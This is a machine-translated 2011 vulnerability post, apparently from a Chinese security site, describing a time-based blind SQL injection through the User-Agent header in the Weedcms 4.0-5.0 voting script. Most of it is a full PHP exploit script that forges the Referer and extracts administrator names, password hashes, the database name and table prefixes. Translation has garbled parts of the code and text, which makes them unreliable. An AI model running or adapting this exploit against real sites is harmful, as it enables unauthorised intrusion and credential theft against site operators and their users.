Weeds Weedcms v4. 0-5. 0 blind injection vulnerability-vulnerability warning-the black bar safety net

2011-01-05T00:00:00
ID MYHACK58:62201128770
Type myhack58
Reporter 佚名
Modified 2011-01-05T00:00:00

Description

Weeds Weedcms v4. 0 sp1 to the latest 5.0 New Year Edition USER_AGENT blind injection vulnerability

Program description: wild Weedcms based on the PHP+MYSQL schema. Innovative content management mode, the establishment of channels can be defined in the content model, both in the background you can control, very convenient.

The template engine uses Mature and stable Smarty engine, It is easy to you can make the template interface. Front and back are made of DIV+CSS, the speed than the traditional type slightly faster.

JS the use of the international on the more popular Jquery Framework and Jquery based XHEditor visual editor.

Support is based on Apache and IIS in the path optimization function allows your web site for search engine optimization.

The single-page function: the production of similar about us and company as long as the added data can be achieved, and can control the access permissions.

Background to support the distribution of competences, reducing administrator workload. Customizable menu navigation.

Advertising feature: support HTML custom, and can be delivered to the desired display page. Support unlimited classification, can be defined in detail their content.

Make the member Group interface, easy to control the resource allocation and the like. Real-time monitoring of website online personnel movements. Background management operations can be one record to the log. Multi-language support packet switching.

Vulnerability to form of reasons: vote.php USER_AGENT directly into the database, not through the filter. Lead to the Insert type of SQL injection. Since no error message, only a blind.

Vulnerability analysis: our view vote.php code:

!

We can see this function there is no incoming data for any filtration, just a simple SQL statement is generated, and finally call the query()execution.

First the program using a GET to obtain the action variables, The if action=='ok'on. The process of voting, and then call the check_request() function on the request for verification, we follow up this function.

Find: includes/function.php the first 3 9 0 line.

!

We can see, only the REFERER, make a simple regular match, and the HOST for the comparison, we can by Faking the request REFERER to bypass this validation.

Then the program gets a vote_id variables, we give him the incoming of a non-existent ID, to prevent in a different target environment, causes the program logic to be interrupted, and then we look back at the last insert voting data, direct access to the$_SERVER['HTTP_USER_AGENT'] and not any filter, and $_SERVEFR variable is not affected by the magic_quotes_gpc protection, so the vulnerability versatility is very good, can almost pass to kill. Finally used the$db->insert()function inserts into the database, we tell about this function see there is no filtering.

Find: includes/class_db.php the first 2 line 0

!

We can see this function there is no incoming data for any filtration, just a simple SQL statement is generated, and finally call the query()execution.

Exploit: use the format: php yecao.php 127.0.0.1 8 0 "/" "2", The 4 parameters are: target host port program path(start with/end) delay

Use code:

|

<? php $port = 8 0; if (trim ( $argv[1] ) == "" || trim ( $argv[2] ) == "" || trim ( $argv[3] ) == "" || trim ( $argv[4] ) == "") { echo "use:\nwww.exp.com 8 0 \"/web/\" 3 \n target host port program path(start with/end) delay \n note: to know the table prefix, defaults to w_ ,5.0 and above MYSQL version through blast database name and then the explosion was the table prefix"; exit (); } $tlb_tag = "w_"; //define a table prefix $host = trim ( $argv [1] ); $port = trim ( $argv [2] ); $path = trim ( $argv [3] ); $tout = trim ( $argv [4] ); $T: fullpath = $path . "vote. php? action=ok"; $postdata = "vote_id=9 9 9 9 9 9 9 9 9 9 9"; function getmicrotime() { list ( $usec, $sec ) = explode ( " ", microtime () ); return (( float ) $usec + ( float ) $sec); } function DoGet($header = "", $data = "") { Global $host, $port, $T: fullpath; $fp = fsockopen ( $host, $port, $errno, $errstr, 3 0 ); $suc = false; $line = ""; if (! $fp) { echo "$errstr ($errno)<br />\n"; } else { $out = "POST $T: fullpath HTTP/1.1\r\n"; $out .= "Content-Type: application/x-www-form-urlencoded\r\n"; $out .= "Host: $host\r\n"; $out .= "Referer: http://$host/vote. php\r\n"; if ($header !== "") { $out .= $header . "\r\n"; } if ($data !== "") { $out .= "Content-Length:" . strlen ( $data ) . "\r\n"; } $out .= "Connection: Close\r\n\r\n"; $out .= $data; fwrite ( $fp, $out ); // echo "\n"; while ( ! feof ( $fp ) ) { $line = fgets ( $fp, 1 2 8 ); // echo $line; if (strpos ( $line, "Date:" ) !== false) { $suc = true; } } // echo "\n"; fclose ( $fp ); if (! $suc) { return false; } return true; } }

function GetLen($ColName, $sql) { Global $tout, $tlb_tag, $postdata; for($i = 1; $i <= 5 0; $i ++) { eval ( $sql ); echo "verify:$ColName field length of $i...\n"; $starttime = getmicrotime (); $rs = DoGet ( $header, $postdata ); $endtime = getmicrotime (); //echo " endtime:$endtime - starttime:$starttime =" . ($endtime - $starttime) . "\n timeout=$tout \n"; if ($endtime - $starttime >= $tout) { return $i; } } return false; }

function GetTxt($ColName, $ColLen, $sql) { $text = ""; for($i = 1; $i <= $ColLen; $i ++) { $chr = GetChr ( $ColName, $i, $sql ); //echo "get:$ColName field of the first:" . $i . "Character is:".$ chr."....\ n"; $text .= $chr; } if ($text !== "") { return $text; } return false; }

function GetChr($ColName, $poss, $sql) { Global $tout, $tlb_tag, $postdata; $chrlist= "[~`!@#$%^& amp;()_+{}|:](<mailto:~%6 0!@#$%^&\ ()_+{}|:/>)"<>? /.,';\] [=-ABCDEFGHIJKLMNOPQRSTUVWXYZ0987654321abcdefghijklmnopqrstuvwxyz"; echo "retrieving:$ColName field of the first:" . $poss . "Bit of a character....\ n"; $chrlistlen = strlen ( $chrlist ); $tempchr = ""; $temptimeout = 0; for($i = $chrlistlen - 1; $i >= 1; $i --) { //From after the forget before judgment, the latter is lowercase letters, numbers, etc. The mostAfter is a special character $checkchr = substr ( $chrlist, $i, 1 ); eval ( $sql ); if ($ColName == 'FuckTable') { //echo $data;exit; } $starttime = getmicrotime (); $rs = DoGet ( $header, $postdata ); $endtime = getmicrotime (); if ($endtime - ($starttime) >= $tout) { echo "success:" . $ColName . "The first" . $poss . "==The" . $checkchr . "-Time-consuming:" . ($endtime - $starttime) . "Seconds\n"; return $checkchr; }

} return false; } function checkLove() { Global $tout, $postdata; $header = "User-Agent: Mozilla/4.0','1 2 9 2 1 6 9 3 0 0',IF((select 1)=1,concat('wo',sleep($tout),'wo'),'Wowo'))#"; $starttime = getmicrotime (); $rs = DoGet ( $header, $postdata ); $endtime = getmicrotime (); if ($endtime - ($starttime) >= $tout) { return true; } return false; } function makelove() { if (checkLove () === false) { echo "exploit failed test\n"; exit (); } echo "start with the default table prefix to guess the solution........\ n"; $sql = "\$header = \"User-Agent: Mozilla/4.0','1 2 9 2 1 6 9 3 0 0',IF((select CHAR_LENGTH(\$ColName) from \" . \$tlb_tag . \"admin where admin_permissions='all' and admin_state='1' LIMIT 1)=\$i,concat('wo',sleep(\$tout),'wo'),'Wowo'))#\";"; $name_len = GetLen ( "admin_name", $sql ); if ($name_len !== false) { $sql = "\$header = \"User-Agent: Mozilla/4.0','1 2 9 2 1 6 9 3 0 0',IF((select MID(\$ColName,\$poss,1) from \" . \$tlb_tag . \"admin where admin_permissions='all' and admin_state='1' LIMIT 1)='\$checkchr',concat('wo',sleep(\$tout),'wo'),'Wowo'))#\";"; $admin_name = GetTxt ( "admin_name", $name_len, $sql ); echo "admin_name from: $admin_name\n"; $admin_password = GetTxt ( "admin_password", 4 0, $sql ); echo "admin_password:$admin_password\n"; echo $admin_name,"---- ", $admin_password; exit (); } else { echo "default table prefix guess the failure,automatically start guessing the table prefix,is to obtain the mysql version number........\ n"; $sql = "\$header = \"User-Agent: Mozilla/4.0','1 2 9 2 1 6 9 3 0 0',IF((select MID(VERSION(),1,1) )='\$checkchr',concat('wo',sleep(\$tout),'wo'),'Wowo'))#\";"; $mysql_ver = GetChr ( "FuckVersion", 1, $sql ); echo "mysql_ver:$mysql_ver\n"; if ($mysql_ver >= 5) { echo "mysql version>=5.0 ,start guessing the table prefix\n"; $sql = "\$header = \"User-Agent: Mozilla/4.0','1 2 9 2 1 6 9 3 0 0',IF((select CHAR_LENGTH(DATABASE()))=\$i,concat('wo',sleep(\$tout),'wo'),'Wowo'))#\";"; $database_len = GetLen ( "FuckDatabaseLength", $sql ); echo "database_len: $database_len successfully get the database name length.\ n"; if ($database_len !== false) { $sql = "\$header = \"User-Agent: Mozilla/4.0','1 2 9 2 1 6 9 3 0 0',IF((select MID(DATABASE(),\$poss,1))='\$checkchr',concat('wo',sleep(\$tout),'wo'),'Wowo'))#\";"; $database_name = GetTxt ( "FuckDatabase", $database_len, $sql ); echo "database_name: $database_name, successful access to the database name.\ n"; if ($database_name !== false) { $sql = "\$header = \"User-Agent: Mozilla/4.0','1 2 9 2 1 6 9 3 0 0',IF((select count(*) from INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA = '$database_name' and CNF configuration = 'BASE TABLE' and TABLE_NAME LIKE '%admin')=\$i,concat('wo',sleep(\$tout),'wo'),'Wowo'))#\";"; $tbl_count = GetLen ( "FuckTableCount", $sql ); if ($tbl_conut !== false && $tbl_count == 1) { echo "found a administrator table,getting the table prefix...\n"; $sql = "\$header = \"User-Agent: Mozilla/4.0','1 2 9 2 1 6 9 3 0 0',IF((select CHAR_LENGTH(TABLE_NAME) from INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA = '$database_name' and CNF configuration = 'BASE TABLE' and TABLE_NAME LIKE '%admin')=\$i,concat('wo',sleep(\$tout),'wo'),'Wowo'))#\";"; $tbl_len = GetLen ( "FuckTableLength", $sql ); if ($tbl_len !== false) { $sql = "\$header = \"User-Agent: Mozilla/4.0','1 2 9 2 1 6 9 3 0 0',IF((select MID(TABLE_NAME,\$poss,1) from INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA = '$database_name' and CNF configuration = 'BASE TABLE' and TABLE_NAME LIKE '%admin')='\$checkchr',concat('wo',sleep(\$tout),'wo'),'Wowo'))#\";"; //echo $sql;exit; $tbl_name = GetTxt ( "FuckTable", $tbl_len, $sql ); if ($tbl_name !== false) { $tlb_tag = str_ireplace ( "admin", "", $tbl_name ); $GLOBALS ['tlb_tag'] = $tlb_tag; echo "tlb_tag: $tlb_tag ,successfully acquired the table prefix,is being retried automatically......\ n"; makelove (); exit (); } else { echo "try to get the table name failed...\n"; } } else { echo "try to get the table length failed...\n";exit (); } } else if ($tbl_conut !== false && $tbl_count > 1) { echo "found multiple administrators table,getting the table prefix...\n"; for($i = 0; $i < $tbl_count; $i ++) { $sql = "\$header = \"User-Agent: Mozilla/4.0','1 2 9 2 1 6 9 3 0 0',IF((select CHAR_LENGTH(TABLE_NAME) from INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA = '$database_name' and CNF configuration = 'BASE TABLE' and TABLE_NAME LIKE '%admin' LIMIT $i,1)=\$i,concat('wo',sleep(\$tout),'wo'),'Wowo'))#\";"; $tbl_len = GetLen ( "FuckTableLength", $sql ); if ($tbl_len !== false) { $sql = "\$header = \"User-Agent: Mozilla/4.0','1 2 9 2 1 6 9 3 0 0',IF((select MID(TABLE_NAME,\$poss,1) from INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA = '$database_name' and CNF configuration = 'BASE TABLE' and TABLE_NAME LIKE '%admin' LIMIT $i,1)='\$checkchr',concat('wo',sleep(\$tout),'wo'),'Wowo'))#\";"; //echo $sql;exit; $tbl_name = GetTxt ( "FuckTable", $tbl_len, $sql ); if ($tbl_name !== false) { $tlb_tag = str_ireplace ( "admin", "", $tbl_name ); $GLOBALS ['tlb_tag'] = $tlb_tag; echo "tlb_tag: $tlb_tag ,successfully acquired multiple tables prefix,please manually retry......\ n"; } else { echo "try to get the first" . $i . "Table name failed...\n"; } } else { echo "try to get the first" . $i . "The length of the table failed...\n"; } } exit (); //loop guess the end. } else { echo "try to get a table the number of failed...\n"; exit (); } } else { echo "try to get database name failed....\ n"; exit (); } } else { echo "try to get database name length failed....\ n"; exit (); } } else if ($mysql_ver >= 1 && $mysql_ver !== false) { echo "mysql version lower than 5. 0 give up guessing the table prefix.\ n"; exit (); } else { echo "get mysql version failed.\ n"; exit (); } } echo "not found -_- || \n"; exit (); } makelove (); ?& gt;


Actual results:

!

Pass to kill 4.0+ above version, but the program uses the SHA1 encryption. EXP using the time difference to be blind. Because it is a vote so in the comparison case of failure, let the statement error or if not error successfully into the library, it can not continue to guess the solution, is successful it will call the sleep sleep produce time difference. The EXP the actual results will be affected by network environment, in addition have not written automatically guess the Chinese user name function. Hope the master who pointing it out. How to write a compare and efficient.

The vulnerability comparison of dish, just as the share to those as well as I dish friends a study reference and an exchange of opportunities. Please sea connotation. The BUG has already informed the author of the program, the paper in the consent procedure the consent of the author after publication, please do not batch engage.